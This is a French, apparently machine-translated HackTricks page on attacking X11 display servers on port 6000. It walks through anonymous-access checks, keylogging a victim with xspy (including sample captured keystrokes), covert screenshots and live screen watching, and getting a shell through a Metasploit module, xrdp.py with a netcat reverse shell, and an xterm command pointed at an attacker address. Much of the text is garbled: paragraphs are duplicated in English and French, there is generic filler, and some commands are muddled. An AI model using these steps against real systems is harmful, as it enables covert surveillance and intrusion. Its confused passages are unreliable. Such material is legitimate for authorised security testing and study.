15 KiB
6000 - Pentesting X11
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende du hacker web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Informations de base
Le système X Window (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique. X ne définit pas non plus l'interface utilisateur - chaque programme gère cela.
De : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Port par défaut : 6000
PORT STATE SERVICE
6000/tcp open X11
Énumération
Vérifiez la connexion anonyme :
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Énumération locale
Le fichier .Xauthority
dans le dossier personnel de l'utilisateur est utilisé par X11 pour l'autorisation. D'après ici:
MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans ~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.
{% hint style="warning" %}
Pour utiliser le cookie, vous devez définir la variable d'environnement : export XAUTHORITY=/chemin/vers/.Xauthority
{% endhint %}
Vérification de la connexion
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy pour intercepter les frappes du clavier.
Exemple de sortie :
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Capture d'écran
Lors de la réalisation d'un test de pénétration sur un serveur X11, il peut être utile de capturer des captures d'écran pour documenter les actions effectuées et les résultats obtenus. Les captures d'écran peuvent également être utilisées pour illustrer les vulnérabilités découvertes lors du test.
Pour capturer des captures d'écran sur un serveur X11, vous pouvez utiliser l'outil xwd
. Cet outil permet de capturer une image de l'écran et de la sauvegarder dans un fichier.
Voici comment utiliser l'outil xwd
pour capturer une capture d'écran :
-
Ouvrez un terminal sur le serveur X11 que vous souhaitez tester.
-
Exécutez la commande suivante pour capturer une capture d'écran de l'écran principal :
xwd -root -out screenshot.xwd
Cette commande capture l'écran principal et enregistre l'image dans un fichier appelé
screenshot.xwd
. -
Pour convertir le fichier
xwd
en un format d'image plus courant, tel quepng
oujpeg
, vous pouvez utiliser l'outilconvert
de la suite d'outils ImageMagick. Voici un exemple de commande pour convertir le fichierxwd
enpng
:convert screenshot.xwd screenshot.png
Cette commande convertit le fichier
screenshot.xwd
enscreenshot.png
. -
Vous pouvez maintenant ouvrir le fichier
screenshot.png
pour afficher la capture d'écran capturée.
La capture d'écran peut être un outil précieux lors de la réalisation d'un test de pénétration sur un serveur X11, car elle permet de documenter les actions effectuées et de fournir des preuves des vulnérabilités découvertes.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Affichage du bureau à distance
Source : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Voici comment trouver l'ID de la fenêtre en utilisant xwininfo.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Pour visualiser en direct, nous devons utiliser
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Obtenir un Shell
To get a shell on a target machine, you can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
Pour obtenir un shell sur une machine cible, vous pouvez exploiter les vulnérabilités du serveur X11. Le serveur X11 est responsable de la gestion des interfaces utilisateur graphiques sur les systèmes d'exploitation de type Unix.
X11 Forwarding
X11 Forwarding is a feature that allows you to run graphical applications on a remote machine and display them on your local machine. By enabling X11 Forwarding, the remote machine can send the graphical output to your local machine.
La redirection X11 est une fonctionnalité qui vous permet d'exécuter des applications graphiques sur une machine distante et de les afficher sur votre machine locale. En activant la redirection X11, la machine distante peut envoyer la sortie graphique vers votre machine locale.
To enable X11 Forwarding, you need to set the DISPLAY
environment variable to the IP address of your local machine followed by :0.0
. For example:
Pour activer la redirection X11, vous devez définir la variable d'environnement DISPLAY
sur l'adresse IP de votre machine locale suivie de :0.0
. Par exemple :
export DISPLAY=192.168.0.100:0.0
X11 Server Exploitation
If the target machine has an insecure X11 server configuration, you can exploit it to get a shell. Here are some common methods:
Si la machine cible dispose d'une configuration de serveur X11 non sécurisée, vous pouvez l'exploiter pour obtenir un shell. Voici quelques méthodes courantes :
X11 Port Forwarding
You can use SSH to forward the X11 port from the target machine to your local machine. This allows you to run X11 applications on the target machine and display them on your local machine.
Vous pouvez utiliser SSH pour rediriger le port X11 de la machine cible vers votre machine locale. Cela vous permet d'exécuter des applications X11 sur la machine cible et de les afficher sur votre machine locale.
To enable X11 port forwarding, use the -X
or -Y
option when connecting to the target machine via SSH. For example:
Pour activer la redirection de port X11, utilisez l'option -X
ou -Y
lors de la connexion à la machine cible via SSH. Par exemple :
ssh -X user@target-machine
X11 Reverse Shell
If you have the ability to run commands on the target machine, you can create a reverse shell using an X11 application. This allows you to establish a connection from the target machine to your local machine.
Si vous avez la possibilité d'exécuter des commandes sur la machine cible, vous pouvez créer un shell inversé à l'aide d'une application X11. Cela vous permet d'établir une connexion de la machine cible vers votre machine locale.
To create an X11 reverse shell, you can use tools like xterm
or xcalc
with the -display
option set to your local machine's IP address and a port of your choice. For example:
Pour créer un shell inversé X11, vous pouvez utiliser des outils tels que xterm
ou xcalc
avec l'option -display
définie sur l'adresse IP de votre machine locale et un port de votre choix. Par exemple :
xterm -display 192.168.0.100:1234
Conclusion
Exploiting vulnerabilities in the X11 server can provide you with a shell on a target machine. By enabling X11 Forwarding or using X11 port forwarding or reverse shells, you can run commands and interact with the target machine's operating system.
L'exploitation des vulnérabilités du serveur X11 peut vous fournir un shell sur une machine cible. En activant la redirection X11 ou en utilisant la redirection de port X11 ou les shells inversés, vous pouvez exécuter des commandes et interagir avec le système d'exploitation de la machine cible.
msf> use exploit/unix/x11/x11_keyboard_exec
Autre méthode:
Reverse Shell: Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante:
./xrdp.py <IP:0> –no-disp
Une nouvelle fenêtre de contrôle s'affiche où nous pouvons voir l'option R-shell, comme illustré ci-dessous:
Nous allons démarrer le mode d'écoute Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:
Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:
Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
Shodan
port:6000 x11
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.